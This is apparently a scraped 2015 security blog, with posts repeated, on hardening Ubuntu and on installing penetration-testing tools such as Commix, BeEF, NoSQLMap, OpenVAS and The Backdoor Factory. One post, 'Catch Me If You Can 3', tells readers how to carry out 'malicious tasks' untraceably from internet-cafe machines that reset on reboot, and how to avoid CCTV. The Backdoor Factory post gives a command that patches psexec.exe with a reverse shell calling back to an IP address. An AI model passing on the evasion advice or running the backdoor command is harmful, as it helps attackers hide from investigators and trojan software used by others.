When I came to know Linux, almost all advanced Linux users told me that Linux is impossible to be infected by virus and malware due to its excellent design. Except root or sudoer, nobody has the privilege to do harm on the system including malware. In case your Linux is infected, only you (the user) is affected. Therefore, you are not required to install any anti-virus or anti-malware application on Linux system. Meanwhile, Linux will not infected Windows based malware. Moreover, Linux developers tried to harden the Linux kernel in many ways, such as ASLR, XD/NX, SELinux, Apparmor, and Gentoo's harden-kernel, etc.
After being an Information Security Enthusiast, I recognized that it is totally not true. In my opinion, Linux just like any other operating systems that can be infected by malware and the interference is not limited to your system only. There are many such news recently.
Linux users can be infected with malware in many ways and some malware are cross-platform software too. The most common way to be infected malware is by surfing internet with your browsers. The other most common way is not keeping your Linux system up-to-date. For example, the very famous Heartbleed vulnerability is still vulnerable for over 200,000 devices in the world after more than a year.
Once you are infected, the malware can perform privilege escalation on your Linux system to gain the rights of root. How this to be done? The most common one is vulnerability of the kernel and/or application software. The other is by social engineering. The most insecure part is human being anyway.
Furthermore, most modern Linux distributions implied sudoer. Sudoer has the rights of root. However, most sysadmins or users will set their account name and password in a very weak way. In addition, the password of root can be easily guessed in most cases for those distributions that not using sudoer. I just name some of them here and there are many ways to get root privilege on Linux systems, for example, misconfiguration of Linux system and/or application software.
Hereby, I name some software, skills and tools as well as technologies on Linux malware for your reference. Hope you all understand that Linux is not a bullet-proof system. It is very easy to break for sure. Finally, I would like to introduce how I hardening Ubuntu for my current daily use, here you are.
Open Source Anti Linux Malware
Linux Malware Detect
ClamAV
Linux Forensics and Linux Malware Analysis
REMnux: A Linux Toolkit for Reverse-Engineering and Analyzing Malware
Linux and Disk Forensics
Books for Linux Malware Analysis and Forensics
Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides
Linux Forensics
Reference
Don’t believe these four myths about Linux security
Wiki - Linux malware
Wiki - Address Space Layout Randomization (ASLR)
Wiki - Social Engineering
That's all! See you.
Open Source is a great idea and it has changed the world!
Open Source forever ....
While you do not know attack, how can you know about defense? (未知攻,焉知防?)
Do BAD things .... for the RIGHT reasons -- OWASP ZAP
It is easier to port a shell than a shell script. -- Larry Wall
Most of you are familiar with the virtues of a programmer. There are three, of course: laziness, impatience, and hubris. -- Larry Wall
为天地立心, 为生民立命, 为往圣继绝学, 为万世开太平。 -- 王炜
Thursday, September 17, 2015
HOWTO : ArpON on Ubuntu 14.04 LTS
ArpON (ARP handler inspection) is a portable handler daemon that make ARP protocol secure in order to avoid the Man In The Middle (MITM) attack through ARP Spoofing, ARP Cache Poisoning or ARP Poison Routing (APR) attacks. It blocks also the derived attacks by it, which Sniffing, Hijacking, Injection, Filtering & co attacks for more complex derived attacks, as: DNS Spoofing, WEB Spoofing, Session Hijacking and SSL/TLS Hijacking & co attacks.
Step 1 :
Step 2 :
Uncomment the DARPI and RUN, makes it looking as :
DAEMON_OPTS="-q -f /var/log/arpon/arpon.log -g -d"
RUN="yes"
Step 3 :
That's all! See you.
Step 1 :
sudo apt-get update
sudo apt-get install arponStep 2 :
sudo nano /etc/default/arponUncomment the DARPI and RUN, makes it looking as :
DAEMON_OPTS="-q -f /var/log/arpon/arpon.log -g -d"
RUN="yes"
Step 3 :
sudo /etc/init.d/arpon restartThat's all! See you.
Wednesday, September 16, 2015
HOWTO : Hardening and Tuning Ubuntu 14.04 LTS
This guide will lead you to hardening and tuning your Ubuntu 14.04 in a few steps without any expense. As an Information Security Enthusiast, my Ubuntu box is setting up like the following and I use the box every day.
kernel Hardening and Tuning
Make sure you enabled the "No Execute (NX)" or "Execute Disable (XD)" in the BIOS/UEFI.
To make it looks like the following :
To reload it :
ARP Spoofing
One of the common attacks is Man In The Middle attack. It can use with browser attack too. This guide will help to protect your Ubuntu from being spoofing. Meanwhile, make sure to set ARP related settings in your router if the feature is available. Most home routers have no such feature.
HOWTO : ArpON on Ubuntu 14.04 LTS
Anti-Malware
Most Linux users (including advanced users) misunderstand that Linux will never and impossible to infect with malware. However, it is not ture. Almost all operating systems are similar to the threats.
HOWTO : ClamAV on Ubuntu 14.04 LTS
This guide will lead you to set up ClamAV for "Scan On Access" instead of "Scan On Demand".
Network Interface Tuning
Insert the following before "exit 0" :
* make sure your NICs are "eth0" and "wlan0" or else
Storage Performance Tuning
(A) SSD
Verify TRIM is supported :
If the output is similar to the below which is supported :
* Data Set Management TRIM supported (limit 1 block)
If you install your Ubuntu in LVM, the TRIM is usually enabled by default. You can confirm it :
If the output is similar to the below which is enabled :
issue_discards = 1
Then set the following to "deadline" if it is not done yet.
noop [deadline] cfq
If not, set it :
Insert the following before "exit 0" :
* make sure your device is sda (or sdb ...)
To reload it or reboot your system :
After that, you need to edit the partition table :
To make it looks like the following :
/dev/mapper/ubuntu--vg-root / ext4 noatime,nodiratime,norelatime,errors=remount-ro 0 1
If you have an error after running the captioned commands, DO NOT reboot your system. You should correct the typo before doing so; otherwise, you cannot boot to your system again.
You can add "scsi_mod.use_blk_mq=1" to kernel parameter, such as "/etc/default/grub".
(B) Hard Drive
Insert the following before "exit 0" :
* make sure your device is sda (or sdb ...)
To reload it or reboot your system :
After that, you need to edit the partition table :
To make it looks like the following :
ext4 noatime,nodiratime,norelatime,errors=remount-ro 0 1
If you have an error after running the captioned commands, DO NOT reboot your system. You should correct the typo before doing so; otherwise, you cannot boot to your system again.
Firefox Hardening and Tuning
Most malicious attacks nowadays are via browsers. Therefore, we need to protect ourselves even we are using Linux.
(A) Apparmor For Firefox
AppArmor is a Linux Security Module implementation of name-based access controls.
To make it looks like the following :
Reload the rules :
(B) Firefox Add-ons
NoScript
Allow active content to run only from sites you trust, and protect yourself against XSS and Clickjacking attacks.
* You are not required to enable it as it will block the javascript that most modern websites are using. You need to disable it globally to make the XSS attack protection by default.
uBlock Origin
Finally, an efficient blocker. Easy on CPU and memory. (Please refer to the official site for details)
Cyscon Security Shield
Enjoy enhanced protection from phishing threats and malicious sites while browsing the Internet.
WebRTC Control
Have control over WebRTC (disable or enable) and protect your IP address.
BetterPrivacy
Remove or manage a new and uncommon kind of cookies, better known as LSO's.The BetterPrivacy safeguard offers various ways to handle Flash-cookies set by Google, YouTube, Ebay and others...
HTTPS Everywhere
Encrypt the web! HTTPS Everywhere is a Firefox extension to protect your communications by enabling HTTPS encryption automatically on sites that are known to support it, even when you type URLs or follow links that omit the https: prefix.
Speed Tweaks (SpeedyFox)
This extension provides a list to almost all the settings that you may need to alter in order to enhance Firefox's speed.
ZenMate Security and Privacy VPN
ZenMate secures your browsing with encryption - protecting you from hackers, snoopers and data thieves who prey on unsecure connections.
(C) Optional
(1) Firefox Add-ons :
User-Agent Switcher
The User Agent Switcher extension adds a menu and a toolbar button to switch the user agent of a browser.
Youtube High Definition
YouTube High Definition is a powerful tool that will let you automatically play all YouTube videos in HD (High Definition), turn off annotations, change video player size, auto stop videos, auto mute videos, control embedded videos and much more.
Youtube Flash-Html5
Play YouTube Videos in Flash or HTML5 Player.
(2) Browse with "New Private Window" feature
Finally, you may consider to use Intrusion Detection and Prevention System (IDPS) to protect your network. My project "Croissants" which is an IDPS that can deploy to your network (in front or/and behind the router). Or, you may also consider to use TOR to protect your privacy with my project "NightHawk".
Reference
WebRTC IPS
IP Leak
That's all! See you.
kernel Hardening and Tuning
Make sure you enabled the "No Execute (NX)" or "Execute Disable (XD)" in the BIOS/UEFI.
sudo nano sysctl.confTo make it looks like the following :
To reload it :
sudo sysctl -pARP Spoofing
One of the common attacks is Man In The Middle attack. It can use with browser attack too. This guide will help to protect your Ubuntu from being spoofing. Meanwhile, make sure to set ARP related settings in your router if the feature is available. Most home routers have no such feature.
HOWTO : ArpON on Ubuntu 14.04 LTS
Anti-Malware
Most Linux users (including advanced users) misunderstand that Linux will never and impossible to infect with malware. However, it is not ture. Almost all operating systems are similar to the threats.
HOWTO : ClamAV on Ubuntu 14.04 LTS
This guide will lead you to set up ClamAV for "Scan On Access" instead of "Scan On Demand".
Network Interface Tuning
sudo nano /etc/rc.localInsert the following before "exit 0" :
/sbin/ifconfig eth0 txqueuelen 10000
/sbin/ifconfig wlan0 txqueuelen 10000* make sure your NICs are "eth0" and "wlan0" or else
Storage Performance Tuning
(A) SSD
Verify TRIM is supported :
sudo hdparm -I /dev/sda | grep TRIMIf the output is similar to the below which is supported :
* Data Set Management TRIM supported (limit 1 block)
If you install your Ubuntu in LVM, the TRIM is usually enabled by default. You can confirm it :
cat /etc/lvm/lvm.conf | grep issue_discardsIf the output is similar to the below which is enabled :
issue_discards = 1
Then set the following to "deadline" if it is not done yet.
cat /sys/block/sda/queue/schedulernoop [deadline] cfq
If not, set it :
sudo nano /etc/rc.localInsert the following before "exit 0" :
echo 1024 > /sys/block/sda/queue/read_ahead_kb
echo 1024 > /sys/block/sda/queue/nr_requests
echo deadline > /sys/block/sda/queue/scheduler* make sure your device is sda (or sdb ...)
To reload it or reboot your system :
sudo /etc/rc.localAfter that, you need to edit the partition table :
To make it looks like the following :
/dev/mapper/ubuntu--vg-root / ext4 noatime,nodiratime,norelatime,errors=remount-ro 0 1
sudo mount -a
sudo mount -o remount /If you have an error after running the captioned commands, DO NOT reboot your system. You should correct the typo before doing so; otherwise, you cannot boot to your system again.
You can add "scsi_mod.use_blk_mq=1" to kernel parameter, such as "/etc/default/grub".
(B) Hard Drive
sudo nano /etc/rc.localInsert the following before "exit 0" :
echo 1024 > /sys/block/sda/queue/read_ahead_kb
echo 1024 > /sys/block/sda/queue/nr_requests* make sure your device is sda (or sdb ...)
To reload it or reboot your system :
sudo /etc/rc.localAfter that, you need to edit the partition table :
To make it looks like the following :
ext4 noatime,nodiratime,norelatime,errors=remount-ro 0 1
sudo mount -a
sudo mount -o remount /If you have an error after running the captioned commands, DO NOT reboot your system. You should correct the typo before doing so; otherwise, you cannot boot to your system again.
Firefox Hardening and Tuning
Most malicious attacks nowadays are via browsers. Therefore, we need to protect ourselves even we are using Linux.
(A) Apparmor For Firefox
AppArmor is a Linux Security Module implementation of name-based access controls.
sudo apt-get update
sudo apt-get install apparmor-utils apparmor-profilesTo make it looks like the following :
sudo rm /etc/apparmor.d/disable/usr.bin.firefoxReload the rules :
sudo apparmor_parser -r /etc/apparmor.d/usr.bin.firefox(B) Firefox Add-ons
NoScript
Allow active content to run only from sites you trust, and protect yourself against XSS and Clickjacking attacks.
* You are not required to enable it as it will block the javascript that most modern websites are using. You need to disable it globally to make the XSS attack protection by default.
uBlock Origin
Finally, an efficient blocker. Easy on CPU and memory. (Please refer to the official site for details)
Cyscon Security Shield
Enjoy enhanced protection from phishing threats and malicious sites while browsing the Internet.
WebRTC Control
Have control over WebRTC (disable or enable) and protect your IP address.
BetterPrivacy
Remove or manage a new and uncommon kind of cookies, better known as LSO's.The BetterPrivacy safeguard offers various ways to handle Flash-cookies set by Google, YouTube, Ebay and others...
HTTPS Everywhere
Encrypt the web! HTTPS Everywhere is a Firefox extension to protect your communications by enabling HTTPS encryption automatically on sites that are known to support it, even when you type URLs or follow links that omit the https: prefix.
Speed Tweaks (SpeedyFox)
This extension provides a list to almost all the settings that you may need to alter in order to enhance Firefox's speed.
ZenMate Security and Privacy VPN
ZenMate secures your browsing with encryption - protecting you from hackers, snoopers and data thieves who prey on unsecure connections.
(C) Optional
(1) Firefox Add-ons :
User-Agent Switcher
The User Agent Switcher extension adds a menu and a toolbar button to switch the user agent of a browser.
Youtube High Definition
YouTube High Definition is a powerful tool that will let you automatically play all YouTube videos in HD (High Definition), turn off annotations, change video player size, auto stop videos, auto mute videos, control embedded videos and much more.
Youtube Flash-Html5
Play YouTube Videos in Flash or HTML5 Player.
(2) Browse with "New Private Window" feature
Finally, you may consider to use Intrusion Detection and Prevention System (IDPS) to protect your network. My project "Croissants" which is an IDPS that can deploy to your network (in front or/and behind the router). Or, you may also consider to use TOR to protect your privacy with my project "NightHawk".
Reference
WebRTC IPS
IP Leak
That's all! See you.
Tuesday, September 08, 2015
HOWTO : ClamAV on Ubuntu 14.04 LTS
Clam AntiVirus (ClamAV) is a free and open-source, cross-platform antivirus software tool-kit able to detect many types of malicious software, including viruses.
This guide will lead you to set up ClamAV for "Scan On Access" instead of "Scan On Demand". It is also target to Desktop usage only.
The current version at this writing is ClamAV 0.98.7+dfsg.
Step 1 :
Step 2 :
To make the entries looking like the following. Make sure to replace "samiux" with your username.
Step 3 :
To make the entries looking like the following.
Step 4 :
To make the entries looking like the following.
After that, execute the following command to reload the apparmor rules.
Remark :
Download or copy will not trigger the ClamAV scan but browsing or executing (or etc) will. If any malware or virus (no matter it is for Windows, Linux or Mac OSX) is detected, it will be moved to "quarantine" directory. You can also check the log at "/var/log/clamav/clamav.log".
Testing :
You can install NO harm virus testing files for testing.
The NO harm virus testing files are located at "/usr/share/clamav-testfiles".
Reference
AppArmor Wiki
See also : Fireclam Firefox Add-ons
That's all! See you.
This guide will lead you to set up ClamAV for "Scan On Access" instead of "Scan On Demand". It is also target to Desktop usage only.
The current version at this writing is ClamAV 0.98.7+dfsg.
Step 1 :
sudo apt-get install clamav clamav-freshclam clamav-daemon libclamunrar6Step 2 :
sudo nano /etc/clamav/clamd.confTo make the entries looking like the following. Make sure to replace "samiux" with your username.
cd ~
mkdir quarantineStep 3 :
sudo nano /etc/clamav/freshclam.confTo make the entries looking like the following.
sudo freshclamStep 4 :
sudo nano /etc/apparmor.d/usr.sbin.clamdTo make the entries looking like the following.
After that, execute the following command to reload the apparmor rules.
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.clamdRemark :
Download or copy will not trigger the ClamAV scan but browsing or executing (or etc) will. If any malware or virus (no matter it is for Windows, Linux or Mac OSX) is detected, it will be moved to "quarantine" directory. You can also check the log at "/var/log/clamav/clamav.log".
Testing :
You can install NO harm virus testing files for testing.
sudo apt-get install clamav-testfilesThe NO harm virus testing files are located at "/usr/share/clamav-testfiles".
Reference
AppArmor Wiki
See also : Fireclam Firefox Add-ons
That's all! See you.
Labels:
Anti-Virus,
Clamav,
malware,
Ubuntu
Saturday, August 29, 2015
HOWTO : Commix on Ubuntu 14.04 LTS
Commix (short for [comm]and [i]njection e[x]ploiter) has a simple environment and it can be used, from web developers, penetration testers or even security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks. By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or string. Commix is written in Python programming language.
Install
Update/Upgrade
Reference
Wiki
That's all! See you.
Install
sudo apt-get install git
cd ~
mkdir arsenal
cd arsenal
git clone https://github.com/stasinopoulos/commix.git
cd commix
python commix.py -hUpdate/Upgrade
sudo apt-get update
sudo apt-get dist-upgrade
cd ~/arsenal/commix
python commix.py --updateReference
Wiki
That's all! See you.
Labels:
Commix,
Ubuntu,
Web Pentesting
HOWTO : HconSTF on Ubuntu 14.04
Hcon Security Testing Framework (HconSTF) is Web Application Security Analysis & Penetration Testing Framework made of mozilla technologies.
Most of the part of HconSTF is semi-automated but you still need your brain to work it out. It can be use in all kind of security testing stages, it has tools for conducting tasks like,
- Web Penetration Testing
- Web Exploits Development
- Web Malware Analysis
- Open Source Intelligence ( Cyber Spying & Doxing )
Install
For x86_64 system :
For x86 system :
Update/Upgrade
Go to the official site to download the latest version and repeat the Install procedure.
Reference
User Manual (PDF)
That's all! See you.
Most of the part of HconSTF is semi-automated but you still need your brain to work it out. It can be use in all kind of security testing stages, it has tools for conducting tasks like,
- Web Penetration Testing
- Web Exploits Development
- Web Malware Analysis
- Open Source Intelligence ( Cyber Spying & Doxing )
Install
cd ~
mkdir arsenal
cd arsenalFor x86_64 system :
wget http://sourceforge.net/projects/hconframework/files/HconFramework-Fire/HconSTF_0.5_Prime/HconSTF_v0.5_Prime_Linux_x64.tar.bz2
tar -jxvf HconSTF_v0.5_Prime_Linux_x64.tar.bz2
cd HconSTF
sudo ./HconSTFFor x86 system :
wget http://sourceforge.net/projects/hconframework/files/HconFramework-Fire/HconSTF_0.5_Prime/HconSTF_v0.5_Linux_x86.tar.bz2
tar -jxvf HconSTF_v0.5_Linux_x86.tar.bz2
cd HconSTF
sudo ./HconSTFUpdate/Upgrade
rm -R ~/arsenal/HconSTFGo to the official site to download the latest version and repeat the Install procedure.
Reference
User Manual (PDF)
That's all! See you.
Labels:
HconSTF,
Ubuntu,
Web Pentesting
HOWTO : PTF on Ubuntu 14.04 LTS
The PenTesters Framework (PTF) is a Python script designed for Debian/Ubuntu based distributions to create a similar and familiar distribution for Penetration Testing. As pentesters, we've been accustom to the /pentest/ directories or our own toolsets that we want to keep up-to-date all of the time. We have those "go to" tools that we use on a regular basis, and using the latest and greatest is important.
PTF attempts to install all of your penetration testing tools (latest and greatest), compile them, build them, and make it so that you can install/update your distribution on any machine. Everything is organized in a fashion that is cohesive to the Penetration Testing Execution Standard (PTES) and eliminates a lot of things that are hardly used. PTF simplifies installation and packaging and creates an entire pentest framework for you. Since this is a framework, you can configure and add as you see fit. We commonly see internally developed repos that you can use as well as part of this framework. It's all up to you.
The ultimate goal is for community support on this project. We want new tools added to the github repository. Submit your modules. It's super simple to configure and add them and only takes a few minute.
Install
If you want to install and/or update everything :
All the modules (pentesting tools) are installed at /pentest directory. Please note that WINE and i386 dependencies will be installed accordingly.
Update/Upgrade
PTF attempts to install all of your penetration testing tools (latest and greatest), compile them, build them, and make it so that you can install/update your distribution on any machine. Everything is organized in a fashion that is cohesive to the Penetration Testing Execution Standard (PTES) and eliminates a lot of things that are hardly used. PTF simplifies installation and packaging and creates an entire pentest framework for you. Since this is a framework, you can configure and add as you see fit. We commonly see internally developed repos that you can use as well as part of this framework. It's all up to you.
The ultimate goal is for community support on this project. We want new tools added to the github repository. Submit your modules. It's super simple to configure and add them and only takes a few minute.
Install
sudo apt-get install git
cd ~
git clone https://github.com/trustedsec/ptf.git
cd ptf
sudo ./ptfIf you want to install and/or update everything :
use modules/install_update_all
runAll the modules (pentesting tools) are installed at /pentest directory. Please note that WINE and i386 dependencies will be installed accordingly.
Update/Upgrade
sudo apt-get update
sudo apt-get dist-upgrade
PTF will try to update itself on every start up. Meanwhile, you can run PTF at any directory after the first run.
If you want to update everything :
sudo ptf
use modules/install_update_all
run
Reference
Video
Documentation
That's all! See you.
Labels:
Pentesting,
PTF,
Ubuntu
Friday, August 28, 2015
Catch Me If You Can 3
Last year, I was talking about how to use NightHawk to do malicious things. The full article is here. Two years ago, I also talked about using pre-paid SIM card to do malicious things and the full article is here. However, you think that it would be a chance to be caught as TOR network exit nodes may be monitoring by law enforcements. Meanwhile, identity registration may be needed to purchase SIM card in your country. Okay, today I will introduce another method that you can use wired network to do malicious things untraceable.
In my country, there are many "Internet Cafe" which have a pool of computer systems that running Windows system to provide network gaming or internet services to their customers with a cheap price per hour. Those computer systems will be equipped "Reborn Card" which can reset to its default setting on every reboot. Normally, the "Internet Cafe" will reboot their computer systems every day.
You can hire a computer system in the "Internet Cafe", reboot it. Plug in your Kali Linux or BackBox Linux Live USB (or your custom made pentesting Linux Live USB). Personally, I will recommend BackBox as it will have some outstanding features, such as memory wiper.
After your malicious tasks, you can reboot your computer system and it will reset to its default setting. Normally, no data or activiities will be logged in the computer system.
When law enforcements trace your IP address which will direct them to the "Internet Cafe", they cannot obtain any evidence from the computer pool as those systems are reborned!
Finally, beware that CCTV will be installed in the "Internet Cafe" or nearby shops which will capture your present. You may need to do some "make up" when necessary.
That's all! See you.
See Also
Catch Me If You Can
Catch Me If You Can 2
Catch Me If You Can 4
In my country, there are many "Internet Cafe" which have a pool of computer systems that running Windows system to provide network gaming or internet services to their customers with a cheap price per hour. Those computer systems will be equipped "Reborn Card" which can reset to its default setting on every reboot. Normally, the "Internet Cafe" will reboot their computer systems every day.
You can hire a computer system in the "Internet Cafe", reboot it. Plug in your Kali Linux or BackBox Linux Live USB (or your custom made pentesting Linux Live USB). Personally, I will recommend BackBox as it will have some outstanding features, such as memory wiper.
After your malicious tasks, you can reboot your computer system and it will reset to its default setting. Normally, no data or activiities will be logged in the computer system.
When law enforcements trace your IP address which will direct them to the "Internet Cafe", they cannot obtain any evidence from the computer pool as those systems are reborned!
Finally, beware that CCTV will be installed in the "Internet Cafe" or nearby shops which will capture your present. You may need to do some "make up" when necessary.
That's all! See you.
See Also
Catch Me If You Can
Catch Me If You Can 2
Catch Me If You Can 4
Labels:
hacker,
Malicious Hacker
HOWTO : OpenVAS on Ubuntu 14.04 LTS
OpenVAS is a framework of several services and tools offering a comprehensive and powerful vulnerability scanning and vulnerability management solution.
Install
To install OpenVAS 8 on Ubuntu 14.04 LTS :
To run it :
Open browser to point to
* username and password are both "
Update/Upgrade
Reference
You can disable OpenVAS auto startup on every boot and start it manually. Please note that if OpenVAS is running, shutdown process will take time.
For example :
To start up manually :
To stop manually :
That's all! See you.
Install
To install OpenVAS 8 on Ubuntu 14.04 LTS :
sudo add-apt-repository ppa:mrazavi/openvas
sudo apt-get update
sudo apt-get install xsltproc sqlite3 openvas
sudo openvas-nvt-sync
sudo openvas-scapdata-sync
sudo openvas-certdata-sync
sudo service openvas-scanner restart
sudo service openvas-manager restart
sudo openvasmd --rebuild --progressTo run it :
Open browser to point to
https://localhost:443* username and password are both "
admin"Update/Upgrade
sudo apt-get update
sudo apt-get dist-upgrade
sudo openvas-nvt-sync
sudo openvas-scapdata-sync
sudo openvas-certdata-sync
sudo service openvas-scanner restart
sudo service openvas-manager restart
sudo openvasmd --rebuild --progressReference
You can disable OpenVAS auto startup on every boot and start it manually. Please note that if OpenVAS is running, shutdown process will take time.
For example :
sudo update-rc.d openvas-scanner disable
sudo update-rc.d openvas-manager disableTo start up manually :
sudo service openvas-scanner start
sudo service openvas-manager startTo stop manually :
sudo service openvas-scanner stop
sudo service openvas-manager stopThat's all! See you.
Labels:
OpenVAS,
Pentesting,
Ubuntu
HOWTO : the-backdoor-factory on Ubuntu 14.04 LTS
The Backdoor Factory (BDF) is to patch executable binaries with user desired shellcode and continue normal execution of the prepatched state.
Install
Install BDFactory :
How to run it :
Install BDFProxy :
How to run it :
*change the settings when necessary
Update/Upgrade
Reference
See also : Metaspolit Framework
That's all! See you.
Install
sudo apt-get install git python-pip build-essentialInstall BDFactory :
cd ~
mkdir arsenal
cd arsenal
git clone https://github.com/secretsquirrel/the-backdoor-factory.git
cd the-backdoor-factory
sudo pip install capstone
sudo ./install.shHow to run it :
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcpInstall BDFProxy :
cd ~/arsenal
git clone https://github.com/secretsquirrel/BDFProxy.git
cd BDFProxy
sudo ./install.shHow to run it :
nano bdfproxy.cfg*change the settings when necessary
./bdf_proxy.py
msfconsole -r bdfproxy_msf_resource.rcUpdate/Upgrade
sudo apt-get update
sudo apt-get dist-upgrade
cd ~/arsenal/the-backdoor-factory
sudo ./update.sh
cd ~/arsenal/BDFProxy
sudo ./update.shReference
See also : Metaspolit Framework
That's all! See you.
Labels:
BDF,
BDFProxy,
Pentesting,
Ubuntu
HOWTO : SPIKE on Ubuntu 14.04 LTS
SPIKE is a fuzzer to find exploitable bugs on application programs.
Install
* For how to use it, please refer to the links at "Reference" below.
Update/Upgrade
Nil
Reference
An Introduction to Fuzzing: Using fuzzers (SPIKE) to find vulnerabilities
Fuzzer Automation with SPIKE
* Or, read the documents at ~/arsenal/SPIKE/SPIKE/documentations
That's all! See you.
Install
sudo apt-get install build-essential
cd ~
mkdir arsenal
cd arsenal
wget http://www.immunitysec.com/downloads/SPIKE2.9.tgz
tar -xzvf SPIKE2.9.tgz
cd SPIKE/src
./configure
make* For how to use it, please refer to the links at "Reference" below.
Update/Upgrade
Nil
Reference
An Introduction to Fuzzing: Using fuzzers (SPIKE) to find vulnerabilities
Fuzzer Automation with SPIKE
* Or, read the documents at ~/arsenal/SPIKE/SPIKE/documentations
That's all! See you.
Labels:
Pentesting,
SPIKE,
Ubuntu
HOWTO : MACchanger on Ubuntu 14.04 LTS
A GNU/Linux utility for viewing/manipulating the MAC address of network interfaces.
Install
Update/Upgrade
Reference
Nil
That's all! See you.
Install
sudo apt-get install macchanger
macchanger -hUpdate/Upgrade
sudo apt-get update
sudo apt-get dist-upgradeReference
Nil
That's all! See you.
Labels:
macchanger,
Pentesting,
Ubuntu
HOWTO : edb-debugger on Ubuntu 14.04 LTS
edb is a cross platform x86/x86-64 debugger. It was inspired by Ollydbg, but aims to function on x86 and x86-64 as well as multiple OS's. Linux is the only officially supported platform at the moment, but FreeBSD, OpenBSD, OSX and Windows ports are underway with varying degrees of functionality.
Install
*** Thanks for Vladimir Stupnikov pointed out the installation error. ***
Update/Upgrade
Repeat the Install procedure as previous mentioned.
Reference
Wiki
That's all! See you.
Install
sudo apt-get install git build-essential libboost1.55-all-dev qt5-default libqt5xmlpatterns5-dev
cd ~
mkdir arsenal
cd arsenal
git clone --recursive https://github.com/eteran/edb-debugger.git
cd edb-debugger
./travis_install_capstone.sh
qmake
make
sudo make install
cd ~
mkdir .edb
sed -i -e 's/directory.session.path=/directory.session.path=\/home\/$USER\/.edb/g' ~/.config/codef00.com/edb.conf
sed -i -e 's/directory.symbol.path=/directory.symbol.path=\/home\/$USER\/.edb/g' ~/.config/codef00.com/edb.conf
edb*** Thanks for Vladimir Stupnikov pointed out the installation error. ***
Update/Upgrade
cd ~/arsenal
rm -R edb-debuggerRepeat the Install procedure as previous mentioned.
Reference
Wiki
That's all! See you.
Labels:
edb-debugger,
Pentesting,
Ubuntu
Thursday, August 27, 2015
HOWTO : Arachni on Ubuntu 14.04 LTS
Arachni is a feature-full, modular, high-performance Ruby framework aimed towards helping penetration testers and administrators evaluate the security of web applications.
It is smart, it trains itself by monitoring and learning from the web application's behavior during the scan process and is able to perform meta-analysis using a number of factors in order to correctly assess the trustworthiness of results and intelligently identify (or avoid) false-positives.
Unlike other scanners, it takes into account the dynamic nature of web applications, can detect changes caused while travelling through the paths of a web application’s cyclomatic complexity and is able to adjust itself accordingly. This way, attack/input vectors that would otherwise be undetectable by non-humans can be handled seamlessly.
Moreover, due to its integrated browser environment, it can also audit and inspect client-side code, as well as support highly complicated web applications which make heavy use of technologies such as JavaScript, HTML5, DOM manipulation and AJAX.
Finally, it is versatile enough to cover a great deal of use cases, ranging from a simple command line scanner utility, to a global high performance grid of scanners, to a Ruby library allowing for scripted audits, to a multi-user multi-scan web collaboration platform.
Install
Start Firefox and point to
* Default credentials are as the following :
Administrator account
E-mail: admin@admin.admin
Password: administrator
Regular user account
E-mail: user@user.user
Password: regular_user
Update/Upgrade
Then repeat the Install procedure but to download the latest version.
Reference
Wiki
That's all! See you.
It is smart, it trains itself by monitoring and learning from the web application's behavior during the scan process and is able to perform meta-analysis using a number of factors in order to correctly assess the trustworthiness of results and intelligently identify (or avoid) false-positives.
Unlike other scanners, it takes into account the dynamic nature of web applications, can detect changes caused while travelling through the paths of a web application’s cyclomatic complexity and is able to adjust itself accordingly. This way, attack/input vectors that would otherwise be undetectable by non-humans can be handled seamlessly.
Moreover, due to its integrated browser environment, it can also audit and inspect client-side code, as well as support highly complicated web applications which make heavy use of technologies such as JavaScript, HTML5, DOM manipulation and AJAX.
Finally, it is versatile enough to cover a great deal of use cases, ranging from a simple command line scanner utility, to a global high performance grid of scanners, to a Ruby library allowing for scripted audits, to a multi-user multi-scan web collaboration platform.
Install
cd ~
cd arsenal
wget https://github.com/Arachni/arachni/releases/download/v1.2.1/arachni-1.2.1-0.5.7.1-linux-x86_64.tar.gz
tar -xvzf arachni-1.2.1-0.5.7.1-linux-x86_64.tar.gz
cd arachni-1.2.1-0.5.7.1/bin
./arachni_webStart Firefox and point to
http://127.0.0.1:9292* Default credentials are as the following :
Administrator account
E-mail: admin@admin.admin
Password: administrator
Regular user account
E-mail: user@user.user
Password: regular_user
Update/Upgrade
rm -R ~/arsenal/arachni-1.2.1-0.5.7.1Then repeat the Install procedure but to download the latest version.
Reference
Wiki
That's all! See you.
Labels:
Arachni,
Ubuntu,
Web Pentesting
Sunday, August 23, 2015
HOWTO : NoSQLMap on Ubuntu 14.04 LTS
NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases as well as web applications using NoSQL in order to disclose data from the database.
It is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool sqlmap, and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, "Abusing NoSQL Databases". Presently the tool's exploits are focused around MongoDB, but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases.
Install
Update/Upgrade
Reference
GitHub
Videos
See also : Metasploit Framework
That's all! See you.
It is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool sqlmap, and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, "Abusing NoSQL Databases". Presently the tool's exploits are focused around MongoDB, but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases.
Install
sudo apt-get install git python-setuptools
cd ~
mkdir arsenal
cd arsenal
git clone https://github.com/tcstool/nosqlmap.git
cd nosqlmap
sudo python setup.py install
python nosqlmap.pyUpdate/Upgrade
sudo apt-get update
sudo apt-get dist-upgrade
cd ~/arsenal/nosqlmap
git pull origin master
python setup.py install --forceReference
GitHub
Videos
See also : Metasploit Framework
That's all! See you.
Labels:
NoSQLMap,
Ubuntu,
Web Pentesting
HOWTO : BeEF on Ubuntu 14.04 LTS
BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.
Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
Install
Install Ruby :
Install BeEF :
Open browser at go to
* username is "beef" while password is "beef".
* BeEF is default using Ruby 2.1.5.
